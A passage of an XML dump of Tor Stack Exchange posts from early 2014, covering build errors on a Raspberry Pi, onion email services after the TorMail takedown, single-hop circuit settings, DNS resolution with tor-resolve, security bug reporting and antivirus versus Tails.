manpages, use the --disable-asciidoc&#xA;argument when calling configure.&#xA;==================================&#xA;make[2]: *** [doc/tor.1.in] Error 1&#xA;make[2]: Leaving directory `/home/server/debian-packages/tor-0.2.4.20/build'&#xA;make[1]: *** [all] Error 2&#xA;make[1]: Leaving directory `/home/server/debian-packages/tor-0.2.4.20/build'&#xA;dh_auto_build: make -j1 returned exit code 2&#xA;make: *** [build] Error 2&#xA;dpkg-buildpackage: error: debian/rules build gave error exit status 2&#xA;debuild: fatal error at line 1357:&#xA;dpkg-buildpackage -rfakeroot -D -us -uc failed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I checked that I had asciibook, docbook-xsl, docbook-xml, and xmlto installed and ran it again, with the exact same results.  Does anyone know what might be causing this?  Has anyone ran into this before?&lt;/p&gt;&#xA;" OwnerUserId="986" LastEditorUserId="986" LastEditDate="2014-01-22T01:31:27.490" LastActivityDate="2014-01-23T05:08:58.397" Title="Tor 0.2.4.20 build fails on Raspberry Pi -" Tags="|raspberry-pi|raspbian|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1305" PostTypeId="1" CreationDate="2014-01-21T06:28:07.820" Score="1" ViewCount="773" Body="&lt;p&gt;when trying to get to tormail, thru tormail.org, I keep getting the below error. please help. thanks&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;500 Internal Privoxy Error&lt;/p&gt;&#xA;&lt;p&gt;Privoxy encountered an error while processing your request:&lt;/p&gt;&#xA;&lt;p&gt;Could not load template file forwarding-failed or one of its included components.&lt;/p&gt;&#xA;&lt;p&gt;Please contact your proxy administrator.&lt;/p&gt;&#xA;&lt;p&gt;If you are the proxy administrator, please put the required file(s)in the (confdir)/templates directory. The location of the (confdir) directory is specified in the main Privoxy config file. (It's typically the Privoxy install directory, or /etc/privoxy/).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="703" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-03-06T00:46:11.687" Title="tormail error message" Tags="|onion-services|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1306" PostTypeId="2" ParentId="1209" CreationDate="2014-01-21T06:51:07.953" Score="-3" Body="&lt;p&gt;This app is real. It connects to the Tor network and allows access to dark net sites. You can't remove adds from the app (since it's an app)&lt;/p&gt;&#xA;" OwnerUserId="988" LastActivityDate="2014-01-21T06:51:07.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1308" PostTypeId="2" ParentId="1305" CreationDate="2014-01-21T11:03:49.660" Score="1" Body="&lt;p&gt;A while ago the FBI &lt;a href=&quot;https://openwatch.net/i/200/anonymous-web-host-freedom-hosting-owner-arrested&quot; rel=&quot;nofollow noreferrer&quot;&gt;raided Freedom Hosting&lt;/a&gt;. They took several hidden services as well as TorMail down. So you can reach &lt;a href=&quot;http://tormail.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://tormail.org/&lt;/a&gt;, but not their hidden service anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a question which wants to find out &lt;a href=&quot;https://tor.stackexchange.com/q/1207/88&quot;&gt;other Tor-friendly email services&lt;/a&gt;. Maybe this can help you.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-01-21T11:03:49.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1309" PostTypeId="2" ParentId="1207" CreationDate="2014-01-21T11:05:57.983" Score="3" Body="&lt;h2&gt;Pond&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://pond.imperialviolet.org/&quot; rel=&quot;nofollow&quot;&gt;Pond&lt;/a&gt; is not an email provider, but a new protocol to send messages. It runs over Tor and uses OTR to encrypt all messages.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So Pond is not email. Pond is forward secure, asynchronous messaging for the discerning. Pond messages are asynchronous, but are not a record; they expire automatically a week after they are received. Pond seeks to prevent leaking traffic information against everyone except a global passive attacker.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-21T11:05:57.983" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1310" PostTypeId="2" ParentId="1207" CreationDate="2014-01-21T11:10:31.613" Score="1" Body="&lt;h2&gt;Lelantos&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lelantoss7bcnwbv.onion/&quot; rel=&quot;nofollow&quot;&gt;Lelantos&lt;/a&gt; is a Tor hidden service and allows you to register an own email address. At current prices they want 35 $ (0.04 Bitcoin) for a lifetime subscription.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-21T11:10:31.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1311" PostTypeId="2" ParentId="1207" CreationDate="2014-01-21T11:15:21.413" Score="1" Body="&lt;h2&gt;URSSMail&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.urssmail.org/&quot; rel=&quot;nofollow&quot;&gt;URSSMail&lt;/a&gt; is another mail service which is based on a hidden service. The &lt;a href=&quot;http://f3ljvgyyujmnfhvi.onion/&quot; rel=&quot;nofollow&quot;&gt;URSSMail hidden service&lt;/a&gt; is free of charge, but you can donate to the project using Bitcoin or other *coins (Litecoin, Dogecoin etc.).&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-21T11:15:21.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1312" PostTypeId="1" AcceptedAnswerId="1313" CreationDate="2014-01-21T11:37:49.523" Score="14" ViewCount="15933" Body="&lt;p&gt;I want to setup Tor for using only one hop in chain. There is some solution? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that this is security risk, but I use tor only for corporate firewall bypassing. &lt;/p&gt;&#xA;" OwnerUserId="991" LastActivityDate="2018-03-06T23:14:58.073" Title="How to decrease number of Tor hops?" Tags="|configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1313" PostTypeId="2" ParentId="1312" CreationDate="2014-01-21T11:44:48.257" Score="10" Body="&lt;p&gt;You can try to use &lt;a href=&quot;http://www.thoughtcrime.org/software/tortunnel/&quot;&gt;Tortunnel&lt;/a&gt; by Moxie Marlinspike:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tortunnel is a partial Onion Proxy implementation that's designed to build single-hop circuits through Tor exit nodes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Another possibility is to set &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AllowSingleHopCircuits 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your &lt;code&gt;torrc&lt;/code&gt;. In this case you'll need to find exit relays which have the option set in their config.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-21T11:44:48.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1317" PostTypeId="2" ParentId="1304" CreationDate="2014-01-21T22:11:45.670" Score="3" Body="&lt;p&gt;The error message says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Alternatively, to build without manpages, use the &lt;code&gt;--disable-asciidoc&lt;/code&gt;&#xA;  argument when calling configure.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When you use &lt;code&gt;debuild&lt;/code&gt; you can't just enter &lt;code&gt;configure --disable-asciidoc&lt;/code&gt;. You'll have to edit the file &lt;code&gt;debian/rules&lt;/code&gt;. On &lt;a href=&quot;https://gitweb.torproject.org/debian/tor.git/blob/HEAD:/debian/rules#l22&quot; rel=&quot;nofollow&quot;&gt;line 22&lt;/a&gt; of the file there is a section which deals with configure options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;override_dh_auto_configure:&#xA;    ! [ -e debian/micro-revision.i ] || cp debian/micro-revision.i src/or/micro-revision.i&#xA;    dh_auto_configure -- \&#xA;        $(confflags) \&#xA;        --prefix=/usr \&#xA;        --mandir=\$${prefix}/share/man \&#xA;        --infodir=\$${prefix}/share/info \&#xA;        --localstatedir=/var \&#xA;        --sysconfdir=/etc \&#xA;        --disable-silent-rules&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to add a backslash (&lt;code&gt;\&lt;/code&gt;) at the end of the last line and insert &lt;code&gt;--disable-asciidoc&lt;/code&gt; as a new line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        --disable-silent-rules \&#xA;        --disable-asciidoc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now your compile run should succeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to resolve this error is to install the package &lt;code&gt;asciidoc&lt;/code&gt;. When it is installed the compile will run without errors.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-22T08:50:28.937" LastActivityDate="2014-01-22T08:50:28.937" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1318" PostTypeId="2" ParentId="1264" CreationDate="2014-01-21T23:48:22.540" Score="1" Body="&lt;p&gt;You're probably missing the keys for verifying the signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; on how to do the verification process.&lt;/p&gt;&#xA;" OwnerUserId="612" LastActivityDate="2014-01-21T23:48:22.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1320" PostTypeId="2" ParentId="1303" CreationDate="2014-01-22T00:41:07.667" Score="6" Body="&lt;p&gt;The short answer is no, don't import preexisting bookmarks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The long answer is &lt;em&gt;it depends&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/URL&quot;&gt;URLs&lt;/a&gt; (the web address data stored in browser 'bookmarks') are pretty flexible in their format and often contain embedded information of various sorts. While this additional data is typically appended to a URL (ie: any part of a URL that comes after a '?') there are many URLs that have identifying information included in the path or even the subdomain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any doubt that the URL that are you using is not a general address applicable for everyone, assume that there is identifying information embedded in it.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="610" LastEditDate="2014-01-22T00:52:41.070" LastActivityDate="2014-01-22T00:52:41.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1321" PostTypeId="1" CreationDate="2014-01-22T02:50:34.593" Score="2" ViewCount="338" Body="&lt;p&gt;I want Tor to just resolve a DNS and return the IP address before any connection to the destination server. I know that the Tor client sends a request to the exit node and the exit node does the DNS resolution and establishes a connection to that hostname. After establishing the connection to the server, the exit node returns the IP address to the client but this is not what I want. I want to resolve the DNS and get the IP without any connection to the sever.&#xA;Is there any function in the source code to help me or which functions do I need to touch for this purpose.  &lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-01-22T10:59:41.490" Title="How to get IP address" Tags="|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1324" PostTypeId="1" CreationDate="2014-01-22T08:50:12.603" Score="6" ViewCount="466" Body="&lt;p&gt;Tor support AES for symmetric cryptography which is fine but for asymmetric cryptography we might prefer something else (I guess now its RSA1024 which is almost broken and proposals are saying to replace it with ECC in the future). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main question: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Let say Alice have Bob's public key (a better cipher than RSA) so Alice don't need onion address to find Bob's public key first. Is it possible that Bob just advertise his descriptor (introduction points) on HSdirs with this custom cipher and meet Alice or hidden services are limited to what Tor support today?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Detailed questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How actually a descriptor look like (encoding) ? is there any format or size limit for descriptor on HSdir?&lt;/li&gt;&#xA;&lt;li&gt;Where descriptors are hosted? Who are HSdirs? Tor relays who donate their disk space for hosting these messages?&lt;/li&gt;&#xA;&lt;li&gt;How Alice find descriptor for Bob from DHT?&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/HiddenServiceNames#Whataboutcollisionsinthehashfunction&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt; says truncated SHA1 is not secure (I say full SHA1 is not secure either) but attacker would not be able to impersonate already existing hidden services! How he can't?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="998" LastEditorUserId="923" LastEditDate="2014-07-04T20:49:13.643" LastActivityDate="2014-07-04T20:49:13.643" Title="Custom cryptography for Hidden services" Tags="|onion-services|encryption|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1326" PostTypeId="2" ParentId="1321" CreationDate="2014-01-22T10:59:41.490" Score="3" Body="&lt;p&gt;If you're using Tor within GNU/Linux, you can use &lt;code&gt;tor-resolve&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; tor-resolve tor.stackexchange.com&#xA;198.252.206.16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The program sends a DNS request and shows you the answer. The option &lt;code&gt;-x&lt;/code&gt; also does a reverse lookup.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-22T10:59:41.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1327" PostTypeId="1" CreationDate="2014-01-22T17:16:37.087" Score="2" ViewCount="446" Body="&lt;p&gt;In our college, Tor is not functioning. I've tried many other proxy sites like (say, &lt;a href=&quot;http://hidemyass.com/&quot; rel=&quot;nofollow&quot;&gt;hide my ass&lt;/a&gt;). These sites have also been blocked. Can any one suggest an alternative?&lt;/p&gt;&#xA;" OwnerUserId="1001" LastEditorUserId="219" LastEditDate="2014-02-01T12:30:47.207" LastActivityDate="2014-03-06T00:12:20.860" Title="An alternative to Tor" Tags="|tor-browser-bundle|censorship|troubleshooting|" AnswerCount="1" CommentCount="4" ClosedDate="2014-03-06T00:40:47.957" ContentLicense="CC BY-SA 3.0" />
  <row Id="1328" PostTypeId="2" ParentId="1327" CreationDate="2014-01-22T18:20:23.833" Score="2" Body="&lt;p&gt;It's possible that your university is blocking most outbound ports.  After opening the Tor Browser Bundle, click Settings, click the Network tab in the Settings window, and check the box &lt;code&gt;My firewall only lets me connect to certain ports&lt;/code&gt;.  (The default Allowed Ports 80 and 443 should work.)&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2014-01-22T18:20:23.833" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1329" PostTypeId="1" CreationDate="2014-01-22T19:47:45.910" Score="1" ViewCount="1674" Body="&lt;p&gt;I've been unable to connect to any .onion sites for 5 days. I get onto tor okay and able to use Duck Duck Go but just can't access any .onion URLS. I've tried it on 4 different devices and two different internet connections. I received a message from the Tor Project on my PC yesterday that said I was blocked to prevent a DDOS attack.  not only do I have no idea how to create such an attack, but would never attempt such a thing. Am I blocked? How do I get unblocked. Please: give me a hand here.  O appreciate: any advice I can get. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1003" LastEditorUserId="923" LastEditDate="2014-03-06T20:07:27.000" LastActivityDate="2014-03-06T20:07:27.000" Title="unable to access any. onion sites" Tags="|onion-services|onion-routing|attacks|" AnswerCount="0" CommentCount="2" ClosedDate="2014-12-05T21:21:01.523" ContentLicense="CC BY-SA 3.0" />
  <row Id="1330" PostTypeId="1" AcceptedAnswerId="1344" CreationDate="2014-01-23T00:11:42.080" Score="3" ViewCount="232" Body="&lt;p&gt;When using Tor, if I download a file form a download-manager (on which Tor is not running) or if I check my emails using an email-clients, will this have any adverse effect on my anonymity? Will my real IP-address be exposed?&lt;/p&gt;&#xA;" OwnerUserId="1005" LastEditorUserId="923" LastEditDate="2014-03-06T20:07:34.447" LastActivityDate="2016-06-03T13:11:32.860" Title="Concurrent use of internet with and without Tor — Any adverse effect on anonymity?" Tags="|anonymity|email|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1331" PostTypeId="2" ParentId="1304" CreationDate="2014-01-23T05:08:58.397" Score="0" Body="&lt;p&gt;Well, it turned out to be as simple as reinstalling docbook-xsl, docbook-xml, and xmlto with the command &lt;code&gt;sudo apt-get --reinstall install docbook-xsl docbook-xml xmlto&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing that, everything compiled as expected.  It's likely there was simply some network or disk error during the installation of one of those packages, resulting in one or more of them becoming silently corrupted and failing to work as expected during compilation.&lt;/p&gt;&#xA;" OwnerUserId="986" LastActivityDate="2014-01-23T05:08:58.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1332" PostTypeId="2" ParentId="1330" CreationDate="2014-01-23T09:32:15.563" Score="0" Body="&lt;p&gt;If I understand you right, you have Tor running on your computer. This can be either by using the Tor Browser Bundle or Tor as a stand-alone process. Now you are downloading a file with some download manager or check your mails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have net set your clients (download manager, email client etc.) to use Tor, they will use your current Internet connection. So at least your provider will see what you are doing. Especially your real IP address will be exposed to your provider and to third parties (site where you download the file, mail provider etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your anonymity within Tor is usually not affected by 'outside' software like in the case you're describing. The software doesn't knwo about Tor and doesn't use it.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-23T10:17:14.377" LastActivityDate="2014-01-23T10:17:14.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1333" PostTypeId="1" CreationDate="2014-01-23T09:49:16.680" Score="6" ViewCount="679" Body="&lt;p&gt;I have a hidden service with a normal onion address created by the tor program. I then made a vanity address using Scallion and added this to my Tor configuration as a second hidden service but pointing it to the same server directory, ie they are both showing the same page, which is what I intended. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this vanity onion address stops working intermittently, usually it works for a few days and then goes blank, giving an &quot;Unable to connect&quot; error in the Tor browser. I have located the problem to Tor and I can solve the problem by erasing the vanity hidden service, restarting Tor and then manually adding the vanity hostname and private_key again. But I would like a more durable solution. As far as I can see there is nothing suspicious in the Tor logs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea as to what can be causing this? &lt;/p&gt;&#xA;" OwnerUserId="1007" LastActivityDate="2014-01-23T11:37:30.407" Title="Vanity onion address not working properly" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1335" PostTypeId="2" ParentId="1333" CreationDate="2014-01-23T11:37:30.407" Score="2" Body="&lt;p&gt;When you say they are pointing to the same server directory, I'm unsure exactly what you mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor connects to the Hidden Service over a regular TCP/IP port. Are you trying to tell Tor to connect twice to the same port (which the HTTP server is listening on)? that could cause contention issues, although I'm not certain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are you saying that the configuration directory Tor uses to store HS configuration information is the same for both hidden services - that would definitely create issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve these, try configuring your HTTP server to listen on two separate ports, and assign one for each hidden service. Also try using two separate Hidden Service Configuration Directories for the two services.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-01-23T11:37:30.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1336" PostTypeId="1" AcceptedAnswerId="1343" CreationDate="2014-01-23T12:36:18.773" Score="3" ViewCount="7664" Body="&lt;p&gt;Specifically, for window OS, is there a recommended and/or compatible antivirus software and/or tool one can use to increase the security of the system. The point being, if there is a malware on the system, all the security Tor provides could be in vain. Is Tail in anyway safer to use, having its own OS in the sense of malware presence on the system OS?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-03-06T15:33:36.183" LastActivityDate="2022-03-24T12:41:43.410" Title="Is there a recommended and/or compatible antivirus software and/or tool available for Tor Browser Bundle" Tags="|tor-browser-bundle|security|windows|tails|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1337" PostTypeId="1" AcceptedAnswerId="1391" CreationDate="2014-01-23T14:21:19.277" Score="12" ViewCount="1743" Body="&lt;p&gt;I'm planning to run a service that will rely on hidden-services for anonymous data routing. Hence I will need to host a large number of them, sometimes in the same place. I have ideas about how to scale the application that will be hosted, but I am not sure about how to scale the number of hosted hidden services. I already saw the &lt;a href=&quot;https://tor.stackexchange.com/questions/13/can-a-hidden-service-be-hosted-by-multiple-instances-of-tor&quot;&gt;hard failover and load balancing&lt;/a&gt; properties we could have by running multiple Tor instances with the same hidden service keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But still, I have a few questions :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is there a hard limit of how many hidden services can be ran by a single Tor instance?&lt;/li&gt;&#xA;&lt;li&gt;If not, is there a known formula or number of hidden services beyond which the Tor instance will lose performance even though the server didn't run out of resources?&lt;/li&gt;&#xA;&lt;li&gt;If not, how much memory do we need for each hidden service hosted (inside a Tor instance where other hidden services are hosted as well)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1008" LastEditorUserId="71" LastEditDate="2014-01-23T19:21:12.907" LastActivityDate="2015-02-08T20:05:53.973" Title="How many hidden services can I run on a single Tor instance?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1338" PostTypeId="1" AcceptedAnswerId="1340" CreationDate="2014-01-23T19:50:06.687" Score="3" ViewCount="4114" Body="&lt;p&gt;Why does Firefox show as my browser when I access a site, such as AOL? I thought Tor &lt;em&gt;was&lt;/em&gt; my browser. What does Firefox have to do with this site?&lt;/p&gt;&#xA;" OwnerUserId="1012" LastEditorUserId="88" LastEditDate="2014-01-29T20:50:17.927" LastActivityDate="2018-08-08T15:24:00.277" Title="Why does Firefox show as my browser and not Tor?" Tags="|firefox|support|browsers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1339" PostTypeId="1" AcceptedAnswerId="1341" CreationDate="2014-01-23T21:00:04.553" Score="6" ViewCount="251" Body="&lt;p&gt;I have found a security issue in Tor which allows for information leakage in certain scenarios. I went to report this to the Tor project, but found nothing more than a bug tracker, and no obvious documentation of a procedure to report significant security issues. Even web searches just led me back and forth between the bug tracker and Wikipedia, which is rather useless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I discovered that the issue I found is already in the bug tracker, it has been there for over a month with no apparent attention paid to it, and was not in any way marked as a security issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to get Tor project members' attention for this issue? (And, in my case, to do so anonymously?)&lt;/p&gt;&#xA;" OwnerUserId="1013" LastActivityDate="2014-01-27T21:48:08.167" Title="How do I report a security issue to the Tor project?" Tags="|security|information-leaks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1340" PostTypeId="2" ParentId="1338" CreationDate="2014-01-23T22:06:41.803" Score="6" Body="&lt;p&gt;Tor isn't a web browser.&#xA;Tor is an anonymity network and can be used for things other than just visiting websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser is a web browser. It's a fork of Firefox that's been modified and specially configured to run over Tor securely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to use Tor with any web browser (at least in theory), but configuring your browser to use Tor &lt;em&gt;effectively&lt;/em&gt; can be difficult and annoying, which is why Tor Browser exists.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastEditorDisplayName="user194" LastEditDate="2014-01-24T21:00:15.780" LastActivityDate="2014-01-24T21:00:15.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1341" PostTypeId="2" ParentId="1339" CreationDate="2014-01-23T23:04:35.707" Score="1" Body="&lt;p&gt;The Tor Project maintains several email accounts and &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/emailLists&quot; rel=&quot;nofollow&quot;&gt;mailing lists&lt;/a&gt;. The table at &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/emailLists#AdministrativeLists&quot; rel=&quot;nofollow&quot;&gt;administrative lists&lt;/a&gt; shows the mailing list &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-security&quot; rel=&quot;nofollow&quot;&gt;tor-security&lt;/a&gt;. So tor-security@lists.torproject.org is the contact address you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a trac entry which discusses a documented way to report vulnerabilities (see &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9186&quot; rel=&quot;nofollow&quot;&gt;#9186&lt;/a&gt;). It was discussed to create a OpenPGP key for the list tor-security, but as far as I see it there is none yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you want to report security issues you should send a private encrypted mail to Nick Mathewson, Andrea Shepard or Roger Dingledine using their GnuPG key.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-01-27T21:48:08.167" LastActivityDate="2014-01-27T21:48:08.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1342" PostTypeId="2" ParentId="1287" CreationDate="2014-01-23T23:41:55.737" Score="2" Body="&lt;p&gt;Those *.bin files do not belong to the Tor Browser Bundle (TBB). I downloaded the latest version of TBB and the only two files which had &lt;code&gt;bin&lt;/code&gt; in their names were:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bing.xml&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;toolbar_button_binding.xml&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Those *.bin files seem to come from some sort of audio driver (maybe Realtek audio). The poster in this &lt;a href=&quot;http://forum.piriform.com/?showtopic=23229&quot; rel=&quot;nofollow&quot;&gt;thread&lt;/a&gt; recommends to disable the onboard audio. The thread also has some more recommendations. However the *.bin files are surely not Tor related.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-01-23T23:41:55.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1343" PostTypeId="2" ParentId="1336" CreationDate="2014-01-24T09:46:00.507" Score="3" Body="&lt;p&gt;Assuming you download and burn Tails from a known virus-free computer, running Tails is much more secure that just adding an anti-virus software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails does not only protect against virus, software keyloggers and similar that may be present on the system OS installed on your computer, but Tails also prevent many possible information leaks Tor Browser cannot protect against (e.g. leaks from other applications on your system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About anti-virus software, be careful! Some anti-virus software leaks what files you have on your computer (e.g. files you downloaded through Tor Browser) to the company behind the anti-virus software. This is especially true if the anti-virus software uses cloud technology. Check the settings and privacy policy carefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove all malware:&#xA;Do a complete format and reinstall of your computer, using CD/DVDs you already got/burnt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Avoid malware:&#xA;Do not install any untrusted software or games on your computer (e.g. downloaded from warez sites or bittorrent). If you OS tells you a file may be a virus, assume it is. AdBlock Plus plugin to Firefox helps a lot.&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-01-24T09:46:00.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1344" PostTypeId="2" ParentId="1330" CreationDate="2014-01-24T10:13:48.550" Score="4" Body="&lt;p&gt;As long as what you are doing with your non-Tor applications and what you are doing in Tor is not related in anyway, it is safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if they are related, for example if you are starting a download in your non-Tor application, for which the link/torrent you found on Tor (e.g. using Tor Browser), your current Tor session is deanonymized (IP address exposed). Likewise if you send a non-Tor mail to someone those mail address you just viewed in Tor, deanonymized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose the green icons and &quot;New Identity&quot; in Tor Browser to create a new anonymous session. This will close all your current tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, your non-Tor applications IP address is always exposed.&lt;/p&gt;&#xA;" OwnerUserId="962" LastActivityDate="2014-01-24T10:13:48.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
